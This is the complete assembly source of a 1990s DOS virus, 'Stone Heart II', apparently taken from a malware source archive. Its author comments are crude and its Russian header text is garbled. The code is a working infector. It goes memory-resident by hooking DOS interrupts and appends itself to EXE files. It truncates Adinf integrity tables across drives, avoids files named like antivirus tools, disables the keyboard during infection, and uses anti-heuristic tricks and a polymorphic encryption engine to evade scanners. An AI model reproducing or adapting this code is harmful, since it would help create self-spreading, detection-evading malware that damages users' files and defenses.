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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.sh.asm

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; <20><> <20>
; <20><><EFBFBD> Virus Magazine <20> Box 176, Kiev 210, Ukraine IV 1997
; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20> <20> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20> <20> <20> <20>
; <20> <20> <20> <20><> <20><> <20> <20> <20><> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20>
; <20> <20> <20> <20> <20><><EFBFBD> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20><> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20> <20> <20>
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.
; Stone Heart II
;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>६<EFBFBD><E0A5AC><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>, <20><>ࠦ<EFBFBD><E0A0A6>騩 EXE
; 䠩<><E4A0A9> > 4096 <20><><EFBFBD><EFBFBD>.
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> (512 <20><><EFBFBD><EFBFBD> <20><>᫥ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>), <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; 祬<> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Adinf <20><><EFBFBD> TbClean.
; <20><><EFBFBD><EFBFBD>ন<EFBFBD> <20><>᪮<EFBFBD>쪮 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> <20><>䥪⨢<E4A5AA><E2A8A2><EFBFBD> <20>ਥ<EFBFBD><E0A8A5><EFBFBD> <20><><EFBFBD>⨢ <20><><EFBFBD><EFBFBD><EFBFBD>⨪<EFBFBD>
; (<28><> <20><><EFBFBD><EFBFBD><EFBFBD>㦨<EFBFBD><E3A6A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> DrWeb, F-Prot, AVP <20> <20>.<2E>.). Tbav <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㣠<EFBFBD><E3A3A0><EFBFBD><EFBFBD>,
; <20><> ।<><E0A5A4> <20> <20><> ᨫ쭮 (<28><><EFBFBD><EFBFBD>-<2D><><EFBFBD> 䫠<><E4ABA0>).
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ⠡<><E2A0A1><EFBFBD><EFBFBD> Adinf <20><> <20><><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> 5 <20><>. <20>ᯥ譮 ࠡ<>⠥<EFBFBD> <20> DOS <20><><EFBFBD>ᨨ Windows
; 95. <20><><EFBFBD>ࠥ<EFBFBD><E0A0A5><EFBFBD> <20><> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD> <20><>⨢<EFBFBD><E2A8A2><EFBFBD><EFBFBD><EFBFBD>.
;
; (c) Eternal Maverick 1997
.model tiny
.code
;-------------------------------------------------
vl equ offset bytes - start
base equ offset endv - start
CrLen equ (vl+200h+1)/2
;-------------------------------------------------
start:
;-------------------------------------------------
; Very lame Anti-heuristic trick!
; But it works against DrWeb...
;-------------------------------------------------
mov ah,62h
int 21h
mov ax,es
cmp ax,bx
je NoHer
fuck_it:
cld
call mist
mist:
pop si
add si,20h
push cs
pop es
mov cx,500h
rep stosw
jmp short fuck_it
;-------------------------------------------------
NoHer:
push es
no_es:
call next
next:
mov ah,2Ah
mov bx,'EM' ; Are you there ?
int 21h
install:
cmp bx,'ME' ; You ask!
je restore ; Already installed...
pop si
push si
sub si,offset next - start
push es
mov ax,word ptr ds:[02h]
sub ax,(vl/16) + 1
mov es,ax
call remove
pop ds
mov si,0Ah
mov di,offset fail - start + 1
movsw
movsw
mov word ptr ds:[si-4],offset INT22h - start
mov word ptr ds:[si-2],es
mov ds,cx
mov si,084h
mov di,offset old21h - start + 1
movsw
movsw
;------------------------------------
; Adinf tables to kill!
;------------------------------------
; P.S. Adinf - a nasty bitch,
; creating checksum tables
; on every hard disk drive.
;------------------------------------
call DelTab
mask1 db 'C:\*.*',0
restore:
pop si
pop dx
push dx
add dx,10h
push dx
add dx,20h
sub dx,word ptr cs:[si+offset bytes - next + 08h]
mov ax,word ptr cs:[si+offset CodeKey-next]
mov ds,dx
mov cx,100h
xor di,di
Decrypt:
xor word ptr ds:[di],ax
inc di
inc di
loop Decrypt
pop dx
push cs
pop ds
mov cx,word ptr ds:[si+offset bytes-next+06h]
or cx,cx
jz No_Relocation
mov bx,word ptr ds:[si+offset bytes-next+18h]
Next_Relo:
les di,dword ptr ds:[si+bx+offset bytes-next]
mov ax,es
add ax,dx
mov es,ax
add word ptr es:[di],dx
add bx,4
loop Next_Relo
No_Relocation:
pop es
mov cx,word ptr ds:[si+offset bytes-next]
mov cx,dx
cli
add cx,word ptr ds:[si+offset bytes-next+0Eh]
mov ss,cx
mov sp,word ptr ds:[si+offset bytes-next+10h]
sti
add dx,word ptr ds:[si+offset bytes-next+16h]
push dx
push word ptr ds:[si+offset bytes-next+14h]
push es
pop ds
xor ax,ax
xor bx,bx
xor si,si
xor di,di
retf
DelTab:
pop di
push cs
pop ds
mov ax,3524h
int 21h
push es bx
lea dx,[di+offset int24h - mask1]
mov ah,25h
int 21h
mov ah,2fh
int 21h
push es bx
lea dx,[di+offset NewBytes - mask1]
mov ah,1Ah
int 21h
mov byte ptr ds:[di],'C'
mov dx,di
NextDisk:
push ds dx
mov cx,07
mov ah,4eh
int 21h
jc NotFound
NextKill:
mov ah,2fh
int 21h
pop di
mov ax,word ptr ds:[di]
push di
push es
pop ds
mov dl,byte ptr ds:[bx+1Eh+06]
cmp dl,al
jne NextFile
mov word ptr ds:[bx+1bh],ax
mov byte ptr ds:[bx+1dh],'\'
lea dx,[bx+1bh]
xor cx,cx
mov ax,4301h
int 21h
mov cl,07
mov ah,3ch
int 21h
NextFile:
pop dx ds
push ds dx
mov ah,4fh
int 21h
jnc NextKill
NotFound:
pop dx ds
mov di,dx
inc byte ptr ds:[di]
cmp al,12h
je NextDisk
pop dx ds
mov ah,1ah
int 21h
pop dx ds
mov ax,2524h
int 21h
jmp restore
remove:
push cs
pop ds
mov cx,vl/2
xor di,di
rep movsw
ret
set21h:
cli
mov si,084h
mov word ptr ds:[si],offset int21h - start
mov word ptr ds:[si+2],es
sti
ret
int22h:
mov ah,48h
mov bx,(vl+400h + offset endcode - start)/16 + 1
int 21h
jc fail
mov es,ax
dec ax
mov ds,ax
xor si,si
mov word ptr ds:[si+1],70h
call remove
mov ds,cx
call set21h
fail:
db 0EAh,0,0,0,0
int21h:
cmp ah,4bh
je check
cmp ah,3dh
je check
cmp ah,43h
je check
;----------------------
; Here I am, Boss!
;----------------------
cmp ah,2Ah
jne old21h
cmp bx,'EM'
jne old21h
xchg bh,bl
iret
;--------------------------------
old21h: db 0EAh,0,0,0,0
int24h:
mov al,3
iret
check:
;---------------------------------------
; Check if it is a proper file
; for infection
;---------------------------------------
push bp si di es bx cx ax dx ds
mov di,dx
mov si,di
push ds
pop es
mov ax,1211h
int 2Fh ; Converts ASCIIZ line into UpCase letters
cld
sub di,4
mov ax,'XE'
scasw
jne abort
scasb
jne abort ; Not EXE...
cmp byte ptr es:[di-5],'F' ; Adin'F' - ?
je abort ; Don't touch it.
sub di,12 ; 12 = Filename + '.' + Extention
;---------------------
; Check if file name
; contains digits
;---------------------
mov si,di
push es
pop ds
mov cx,8
isDigit:
lodsb
cmp al,'0'
jb noDigit
cmp al,'9'
jbe abort
noDigit:
loop isDigit
;---------------------
; Check for antivirus
; names
;---------------------
push cs
pop ds
mov cl,6
ChkThis:
push cx
mov si,offset antiv - start
mov cl,6
DoComp:
cmpsw
jne NextStr
cmpsb
je ExitComp
dec si
dec di
NextStr:
inc si
dec di
dec di
loop DoComp
inc di
pop cx
loop ChkThis
;---------------------
ExitComp:
or cx,cx
jz Okey ; Good file
pop cx
abort:
jmp _esc
Okey:
;---------------------------------------
; Save & set INT 24h
;---------------------------------------
mov ax,3524h
call INT_21h
mov word ptr ds:[base],bx
mov word ptr ds:[base+2],es
mov ax,2524h
mov dx,offset int24h - start
call INT_21h
;---------------------------------------
; Turn keyboard off
;---------------------------------------
in al,21h
or al,00000010b
out 21h,AL
;---------------------------------------
pop ds dx
push dx ds
mov ax,4300h
call INT_21h
push cx
test cl,00000100b ; System file - ?
jnz protect ; Don't touch it!!!
;----------------------------------------
; Checking for protected floppy
; using 3F5h port
;----------------------------------------
push dx
mov cx,400h
mov dx,3F5h
mov al,4
out dx,al
wait_1:
loop wait_1
mov cx,400h
out dx,al
wait_2:
loop wait_2
in al,dx
test al,40h ; Protected disk - ?
pop dx
jnz protect
;----------------------------------
pop cx
push cx
and cl,0FEh ; Set READ-ONLY off
mov ax,4301h
call INT_21h
jnc FileOk
;-------------------------------
; Not able to change attribute
;-------------------------------
protect:
pop cx
jmp esc_1
FileOk:
push dx ds
mov ax,3D02h
call INT_21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov word ptr cs:[base+06h],ax
mov ax,5700h
call FileX ; DOS Services ah=function 57h
; get/set file date & time
push dx cx
cmp cl,0Fh ; Is it already infected?
je esc2
push cs
pop ds
mov dx,offset Bytes - start
mov cx,400h
call ReadX ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
call SeekE
cmp ax,1000h ; File too small to be infected - ?
jb esc2
mov si,offset Bytes - start
cmp word ptr ds:[si],'MZ'
je ExeOk
cmp word ptr ds:[si],'ZM'
jne esc2
ExeOk:
;---------------------------------------
; Is header longer than 512 bytes ?
;---------------------------------------
cmp word ptr ds:[si+8],20h
ja esc2
;---------------------------------------
; Is this EXE segmented ?
;---------------------------------------
push dx ax
mov di,200h
div di
dec ax
cmp ax,word ptr ds:[si+04h]
pop ax dx
jbe Not_Segmented
esc2:
jmp esc_2
;----------------------------------------
Not_Segmented:
mov di,offset NewBytes - start
push ds
pop es
mov cx,0Ch
rep movsw
mov cx,10h
div cx
sub ax,word ptr ds:[si+1024-18h+08h]
mov word ptr ds:[si+1024-18h+16h],ax ; ReloCS
mov word ptr ds:[si+1024-18h+14h],dx ; ExeIP
mov word ptr ds:[offset SaveOff - Start],dx
;----------------------------------------
; Reseting STACK
;----------------------------------------
add ax,(vl+200h)/16+1
mov word ptr ds:[si+1024-18h+0Eh],ax ; ReloSS
add dx,400h
and dl,not 1 ; To avoid an odd stack
mov word ptr ds:[si+1024-18h+10h],dx ; ReloSP
;----------------------------------------
again:
in ax,40h
or ax,ax
jz again
mov word ptr ds:[offset CodeKey - start],ax
mov di,offset Bytes - start + 200h
push di
mov cx,100h
Encrypt:
xor word ptr ds:[di],ax
inc di
inc di
loop Encrypt
push si
xor si,si
mov di,cs
add di,(offset buffer - start)/16 + 1
mov es,di
call emme11
pop si
push di
xor dx,dx
mov ax,word ptr ds:[si+1024-18h+02h]
add ax,di
mov di,200h
div di
add word ptr ds:[si+1024-18h+04h],ax ; FileSize in 512-byte blocks
mov word ptr ds:[si+1024-18h+02h],dx ; Rest of bytes
mov word ptr ds:[si+1024-18h+06h],0 ; Set number of relocation
; table elements to 0
pop cx
push es
pop ds
xor dx,dx
call WriteX ; Write virus body
push cs
pop ds
call SeekH
mov dx,offset NewBytes - start
call WriteH ; Write first 18h bytes (header)
xor al,al
mov dx,200h
call SeekY
mov cx,200h
pop dx
call WriteX
Marker:
pop cx
mov cl,0Fh ; Set time to mark infection
push cx
esc_2:
pop cx dx
mov ax,5701h
call FileX ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh
call FileX ; DOS Services ah=function 3Eh
; close file, bx=file handle
pop ds dx cx
mov ax,4301h
call INT_21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
esc_1:
;-----------------------------
; Restore int 24h
;-----------------------------
lds dx,dword ptr cs:[base]
mov ax,2524h
call INT_21h
;-----------------------------
; Enable IRQ-1
; User can play with keyboard
; again.
;-----------------------------
in al,21h
and al,not 2
out 21h,al
;-----------------------------
_ESC:
pop ds dx ax cx bx es di si bp
jmp old21h ; No other actions.
db 'StoneHeart II' ; Virus name
ReadX:
mov ah,3Fh
jmp short FileX
WriteH:
mov cx,18h
WriteX:
mov ah,40h
jmp short FileX
SeekH:
xor al,al
jmp short SeekX
SeekE:
mov al,02
SeekX:
xor dx,dx
SeekY:
xor cx,cx
SeekZ:
mov ah,42h
FileX:
mov bx,word ptr cs:[base+06h] ; File Handle is stored there...
INT_21h:
pushf
call dword ptr cs:[offset old21h - start+1]
ret
CodeKey:
dw 0 ; This word is used to crypt
; a part of file
;-----------------------------------------------------------------
; These shity programs are too stinky to be even infected
;-----------------------------------------------------------------
ANTIV db 'AID','AVP','PRO','SCA','EXT','WEB'
;-----------------------------------------------------------------
; Polymorphic Engine of Stone Heart II
;-----------------------------------------------------------------
Emme11:
call modulof
modulof:
pop bp
sub bp,3
;--------------------------------------------------------------------------
; PARAMETERS:
; ES - points to buffer of proper size.
; DS - points to segment of code to be encrypted.
; SI - offset of code to be crypted.
; CrLen - number of words (NOT BYTES!!!) to be crypted.
; SaveOff - delta offset in file (Length + 100h for appending
; COM infector, for example)
;
; When finished:
; <20>S:0 - crypted code.
; DI - its size in bytes.
;--------------------------------------------------------------------------
; A structure of encryptor:
; -------------------------
;
; mov reg1,offcode ; offcode - offset of crypted code
; mov reg2,-CrLen
; mov reg3,code_1
;Decode:
; oper1 word ptr ds:[reg1],reg3
; inc reg1
; inc reg1
; oper2 reg3,code_2
; inc reg2
; jnz Decode
;
; --------------------------------
;
; reg1 - SI,DI,BX or BP
; reg2,reg3 - AX,BX,CX,DX,BP,SI or DI
; oper1 - XOR,ADD or SUB
; oper2 - ADD or SUB
;
; code_1,code_2 - random numbers
;
; All unused in decryptor registers are used in garbage instructions.
;--------------------------------------------------------------------------
PolyStart:
in al,40h
or al,al
jz PolyStart
push si
xor di,di
call makeini
inc byte ptr [bp+offset Reg - Emme11]
lea si,[bp+offset anti-Emme11]
mov cx,05h
ANTI_HER:
cmp cl,2
jne noGlue
mov al,75h
stosb
push di
inc di
noGlue:
call make
movsw
loop anti_her
pop bx
mov ax,di
sub ax,bx
dec ax
dec ax
dec ax
mov byte ptr es:[bx],al
;---------------------------------------------
; Creating a decryptor
;---------------------------------------------
call makeini
;---------------------------------------------
; First instruction
;---------------------------------------------
instr1:
call ZeroTwo
mov al,byte ptr ds:[bx+offset Pack_1-Emme11]
stosb
push di ; Needed for decryptor
stosw ; To reserve a place for offset
mov al,byte ptr ds:[bx+3+offset Pack_1-Emme11]
mov byte ptr ds:[si+1],al
mov al,byte ptr ds:[bx+6+offset Pack_1-Emme11]
mov ah,al
mov word ptr ds:[si+2],ax
sub al,40h
mov bl,al
call _fill ; Make a register busy
call make
;-----------------------------------------------
; Second instruction
;-----------------------------------------------
instr2:
call f_reg
in ax,40h
and ax,0Fh
add ax,CrLen
add bl,48h
mov byte ptr ds:[si+7],bl
stosw
call make
;------------------------------------------------
; Third instruction
;------------------------------------------------
instr3:
call f_reg
mov byte ptr ds:[si+5],bl
mov al,8
mul bl
add byte ptr ds:[si+1],al
in ax,40h
add ax,di
stosw
push di
mov word ptr ds:[bp+offset encryptor - Emme11 - 3],ax
call make
;--------------------------------------------------
; To choose operations
;--------------------------------------------------
call ZeroTwo
mov al,byte ptr ds:[offset mirror1 - Emme11 + bx]
mov byte ptr ds:[si],al
sub bx,bp
neg bx
add bx,bp
mov al,byte ptr ds:[offset mirror1 - Emme11 + bx + 2]
mov byte ptr ds:[bp+offset encryptor-Emme11+2],al
call rnd
and bl,1
add bx,bp
mov al,byte ptr ds:[offset mirror2 - Emme11 + bx]
add byte ptr ds:[si+5],al
add al,3
mov byte ptr ds:[bp+offset encryptor-Emme11+6],al
;-----------------------------------------------------
; To copy rest of decryptor
;-----------------------------------------------------
movsw
call make
movsb
call make
movsb
call make
movsw
in al,40h
mov byte ptr ds:[bp+offset encryptor - Emme11 + 7],al
stosb
inc si
call make
movsw
mov ax,0FFh
sub ax,di
pop bx
add ax,bx ; BYTE for JNZ instruction
stosb
call make
pop si
mov ax,word ptr ds:[SaveOff]
add ax,di
mov word ptr es:[si],ax ; Offset of crypted code
mov cx,CrLen
mov bx,0FFFFh
pop si
encryptor:
movsw
xor word ptr es:[di-2],bx
sub bx,0
loop encryptor
ret
makeini:
mov byte ptr ds:[bp+offset Reg - Emme11],10h
make:
;-----------------------
; Makes from 1 up to 8
; bytes of garbage code
;-----------------------
in ax,40h
and ax,00000111b
inc ax ; Number of bytes
mov dx,ax
poly:
push dx
;------------------------------------
; Generate 1-byte command
;------------------------------------
form_1:
call rnd
add bx,bp
mov al,byte ptr ds:[bx+offset data_1-Emme11]
good_1:
stosb
dec dx
form_2:
;-------------------------------------
; Generate 2-bytes command
;-------------------------------------
cmp dx,2
jb PolyStop
call rnd
call _free
jnz form_3
mov al,8
mul bl
add al,0C0h
push ax
call rnd
pop ax
add al,bl
xchg ah,al
add bx,bp
mov al,byte ptr ds:[bx+offset data_2-Emme11]
stosw
dec dx
dec dx
form_3:
;-------------------------------------
; Generate 3-bytes command
;-------------------------------------
cmp dx,3
jb PolyStop
call _form
jnz form_4
mov al,83h
stosw
in al,40h
stosb
sub dx,3
form_4:
;-------------------------------------
; Generate 4-bytes command
;-------------------------------------
cmp dx,4
jb PolyStop
call _form
jnz PolyStop
mov al,81h
stosw
in ax,40h
xor ax,di
stosw
sub dx,4
PolyStop:
or dx,dx
jnz form_1
pop dx
ret
ZeroTwo:
call rnd
mov ax,bx
mov bl,3
div bl
mov bl,ah
add bx,bp
ret
;-----------------------------------------------------------------
Reg db 10h ; This byte is to mark registers
; involved in decryptor.
; 10h means don't use SP as a garbage
; register ;)
;-----------------------------------------------------------------
; Data for polymorphic engine
;-----------------------------------------------------------------
data_1 db 0f5h,0f8h,0f9h,0fbh,0fch,0fdh,09eh,090h
data_2 db 03h,0bh,013h,01bh,023h,02bh,033h,085h
pack_1:
mov_reg1 db 0beh,0bfh,0bbh
xor_reg1 db 04h,05h,07h
inc_reg1 db 046h,047h,043h
operations:
mirror1 db 01h,031h,029h
mirror2 db 0c0h,0e8h
;---------------------------------------------------------------------
db 'EMME Small 1.1' ; Small Eternal Maverick Mutation Engine
;---------------------------------------------------------------------
_form proc near
call rnd
and al,03Fh
add al,0C0h
xchg al,ah
_free:
push bx
push cx
mov cl,bl
mov bl,1
shl bl,cl
test byte ptr ds:[bp+offset Reg-Emme11],bl
jmp short popcxbx
f_reg:
call rnd
call _free
jnz f_reg
mov al,0B8h
add al,bl
stosb
_fill:
push bx
push cx
mov cl,bl
mov bl,1
shl bl,cl
add byte ptr ds:[bp+offset Reg-Emme11],bl
popcxbx:
pop cx
pop bx
ret
_form endp
rnd:
;---------------------------
; A bad way for getting a
; random number
;---------------------------
push dx
in ax,[40h]
add ax,word ptr ds:[bp+offset Seed-Emme11]
mov dx,25173
mul dx
add ax,13849
pop dx
mov word ptr ds:[bp+offset Seed-Emme11],ax
xor ax,word ptr ds:[bp+offset ForXor-Emme11]
mov bx,ax
and bx,7
ret
Seed dw 37849
ForXor dw 559
;--------------------------------
; Built-in anti-heuristic,
; bad against DrWeb, but good
; againt some other antiviruses
;--------------------------------
anti:
xor ax,ax
in ax,40h
or ax,ax
int 20h
push cs
pop ds
;--------------------------------
; Cryptor Pattern
;--------------------------------
Pattern:
xor word ptr ds:[di],bx
inc di
inc di
sub bx,0
inc cx
jnz Pattern
;----------------------------------------
; End of Polymorphic Engine
;----------------------------------------
bytes:
;----------------------------------------
; Victim file header
;----------------------------------------
db 10h dup (0)
dw offset vstack
dw 0
dw offset endv
db 2 dup (0)
;-----------------------------------------------------------------
db 400h-18h dup (0) ; Rest of files' first 1024 bytes
;-----------------------------------------------------------------
NewBytes:
db 18h dup (0) ; New header for infected file
endcode:
db 10h dup (0)
buffer:
db 0900h dup (0) ; Buffer for crypting
SaveOff dw 0 ; Used in polymorphic engine
endv:
mov ah,4ch
int 21h
.stack
dw 16 dup (0)
vstack:
end start
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